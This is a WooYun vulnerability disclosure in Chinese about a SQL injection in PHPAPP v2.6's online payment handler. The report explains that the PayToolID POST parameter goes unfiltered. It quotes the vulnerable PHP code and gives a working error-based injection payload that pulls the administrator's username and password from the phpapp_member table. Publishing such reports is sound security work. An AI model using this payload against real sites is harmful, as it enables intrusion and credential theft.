当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088867

漏洞标题:PHPAPP注入第八枚(无视过滤)

相关厂商:PHPAPP

漏洞作者: 路人甲

提交时间:2014-12-29 18:21

修复时间:2015-03-29 18:22

公开时间:2015-03-29 18:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

PHPAPP注入第八枚(无视过滤)

详细说明:

在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点:wwww.xxx.com/index.php?action=5&app=5, 存在漏洞的文件在/phpapp/apps/apppay/main_phpapp.php
来看看漏洞是如何产生的/phpapp/apps/apppay/main_phpapp.php

function OnLinePayAction(){		

if($this->POST['PayMoney'] < PHPAPP::$config['pay_small_money']){
$this->Refresh(include $this->LanguageArray('apppay','Pay_is_too_low',1),'member.php?app=5&action=2');

}else{

include_once(APPS.'/pay/main_phpapp.php');
$pay=new PayMainControls();
$pay->GoPayTool($this->POST);
}
}


调用了GoPayTool方法,去看看GoPayTool

function GoPayTool($payarr){

//检查支付工具
$paytoolid=$payarr['PayToolID'];
if($this->IsSQL('pay_tool',"WHERE id_phpapp='$paytoolid'")){
if($payarr['Submit']){

include_once(APPS.'/pay/class/pay_class_phpapp.php');
$pay=new PayMoney($payarr,$paytoolid);

$pay->SetPayTools();
}

}else{
header('location:'.SURL);
}
}


$payarr['PayToolID']即$this->POST['PayToolID'],而$this->POST是通过$_POST过滤结尾的’_s’的参数到得的,这里的因为结尾不是’_s’,所以不会被过滤,造成了注入。
Phpapp可以显错,那就用error-based blind进行注入。
Pyload:(POST提交)

PayMoney=1&PayToolID=1' and (select 1 from (select count(*),concat(floor(rand(0)*2),
(select concat(0x23,username,0x23,password) from phpapp_member limit 0,1))a from phpapp_member group by a)b) or '


注入成功,管理员用户名及密码如下图中所示:

注入成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

$this->str()

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论